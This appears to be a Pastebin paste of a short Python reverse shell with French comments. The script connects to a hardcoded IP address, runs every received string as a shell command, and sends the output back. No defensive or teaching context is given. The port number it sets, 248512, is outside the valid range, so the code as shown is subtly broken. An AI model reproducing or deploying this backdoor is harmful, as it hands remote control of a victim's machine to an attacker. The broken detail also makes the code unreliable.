Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Importer les modules utilisé
- import socket
- import subprocess
- # Définir ip et port
- rhost = "192.168.1.131"
- rport = 248512
- # Définir socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((rhost, rport))
- s.send(b"connecte\n")
- # Crée une boucle infinie
- while True:
- data = s.recv(28)
- comm = subprocess.Popen(str(data, "utf-8"), shell=True, stdout=subprocess.PIPE)
- out, b = comm.communicate()
- s.send(out)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement